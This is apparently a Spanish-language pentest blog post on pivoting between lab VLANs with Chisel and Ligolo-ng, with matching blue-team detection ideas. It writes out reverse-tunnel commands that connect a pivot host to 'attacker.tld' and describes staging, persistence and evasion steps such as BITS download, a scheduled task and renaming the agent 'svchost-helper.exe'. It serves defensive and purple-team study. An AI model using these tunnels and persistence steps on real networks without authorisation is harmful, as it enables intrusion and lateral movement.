Pentest

Pivoting con Chisel y Ligolo-ng: Redes Segmentadas en Lab de Pentest

Por Equipe Basilisk ·

Como pivotar entre VLANs usando Chisel y Ligolo-ng en un lab controlado, y que artefactos puede capturar el blue team para detectar el tunel inverso.

Tu shell en la DMZ vale cero si no puedes alcanzar la VLAN 30 donde respira el controlador de dominio. En el lab de Basilisk OffSec montamos exactamente ese escenario: un host Linux expuesto en 10.10.1.0/24, un segmento interno 10.10.30.0/24 con Windows 11 y un AD en 10.10.40.0/24. La unica ruta posible pasa por esa maquina pivote, y ahi es donde Chisel y Ligolo-ng entran como herramientas complementarias. Antes de escribir un byte de payload, recomendamos pasar por Pentest Web desde Cero: Montando un Lab Seguro con DVWA, Juice Shop y Burp Suite para garantizar que el lab esta aislado de la red domestica via pfSense.

Chisel resuelve el problema basico: tienes salida HTTP hacia un C2, pero la entrada esta cerrada. Levantando un servidor Chisel en el atacante (chisel server --port 443 --reverse --tls-key key.pem --tls-cert cert.pem) y el cliente en el pivote (chisel client https://attacker.tld:443 R:1080:socks), abres un SOCKS5 inverso pasando por TLS 443, casi siempre permitido egress. En pruebas reales contra proxies corporativos Squid y Zscaler, observamos tasa de bloqueo menor al 8% cuando el certificado tenia SAN coherente. El patron tiene ruido propio: conexiones HTTP/1.1 Upgrade de larga duracion, justo lo que herramientas con JA3 fingerprinting marcan rapido.

Ligolo-ng sube el nivel porque crea una interfaz TUN en el atacante y rutea paquetes enteros, no solo streams TCP via SOCKS. Levantas el proxy (./proxy -selfcert -laddr 0.0.0.0:11601), ejecutas el agent en el pivote (./agent -connect attacker.tld:11601 -ignore-cert), y dentro del shell del proxy haces ifconfig + tunnel_start. A partir de ese momento, un simple ip route add 10.10.30.0/24 dev ligolo en Kali permite correr nmap, CrackMapExec e incluso Impacket sin proxychains. Liberador, si, pero aumenta el IoC: ahora tienes ICMP, UDP y TCP atravesando el pivote, que casa muy bien con reglas de Movimiento Lateral en Lab: SMB, WMI y WinRM con Foco en Deteccion mapeadas a deteccion.

Del lado ofensivo, la secuencia que usamos en el lab es: acceso inicial via macro Office documentada en Initial Access Simulado: Macros, LNK e ISO en un Lab Windows 11 Aislado, shell de prueba con beacon Sliver (mira Construyendo Infra de C2 con Sliver en Lab Aislado para Estudio Defensivo para el setup), y luego staging del binario Ligolo via BITS para evitar descarga directa. El agent vive en un directorio escribible tipo C:\Users\Public\Downloads, persistido como tarea programada de baja prioridad. Detalle critico: compilar el agent con -ldflags="-s -w" y renombrar a svchost-helper.exe no engana un EDR moderno; Sysmon Event ID 3 (network connect) entrega el proceso conectandose a un puerto inusual en segundos si la regla esta bien escrita.

Del lado defensivo, y aqui el ejercicio se vuelve oro para purple team, buscas tres cosas. Primero, conexiones outbound persistentes a puertos 443/11601 con duracion mayor a 30 minutos saliendo de hosts que historicamente solo hacen requests cortos a Microsoft 365. Segundo, procesos no firmados estableciendo conexion TLS sin usar Wininet/Schannel estandar (Ligolo usa runtime Go propio). Tercero, creacion de interfaces TUN/TAP en endpoints Windows, evento lo suficientemente raro como para convertirse en regla Sigma de alta confianza. Conecta esto con Threat Hunting con Sigma y Elastic: Del Indicador a la Regla de Deteccion y tienes detection-as-code reproducible.

Los logs son tu juez. En el lab capturamos PCAP en el firewall con Suricata en modo IDS, y la heuristica que mejor agarro Ligolo fue la combinacion de paquete TLS con handshake JA3 fuera de allowlist + tamano medio de paquete entre 1200 y 1400 bytes + ausencia de SNI valido para el dominio destino. Chisel quedo un poco mas escondido porque imita websocket legitimo, pero filtro por duracion de sesion. Para completar la investigacion, captura memoria del pivote post-incidente y cruza con Memory Forensics con Volatility 3: Analizando Dumps en Lab Reproducible usando el plugin netscan; veras el socket abierto incluso si el proceso fue inyectado.

Etica y alcance no son apendice, son la fundacion. Todo esto solo tiene sentido en ambiente propio, contrato firmado o range autorizado tipo HackTheBox Pro Labs y OffSec PG Practice. Documentar comandos exactos, hashes de binarios y ventanas de ejecucion te protege a ti y al cliente. Antes de subir Ligolo en un engagement real, revisa tu postura personal con OPSEC para Investigadores de Seguridad: Modelo de Amenaza Personal y separa maquina de investigacion de maquina de cliente. Takeaway practico: monta el lab hoy con tres VMs y un pfSense, sube Chisel y Ligolo el mismo dia, y dedica la otra mitad de la semana a escribir la regla Sigma que te detecta a ti mismo. Solo despues de eso entendiste de verdad la tecnica.

Nenhum comentário ainda

Seja o primeiro a comentar.

Deixe seu comentário

Entre com sua conta Canverly para comentar. Você pode usar a mesma conta em qualquer site da rede.

Entrar com Canverly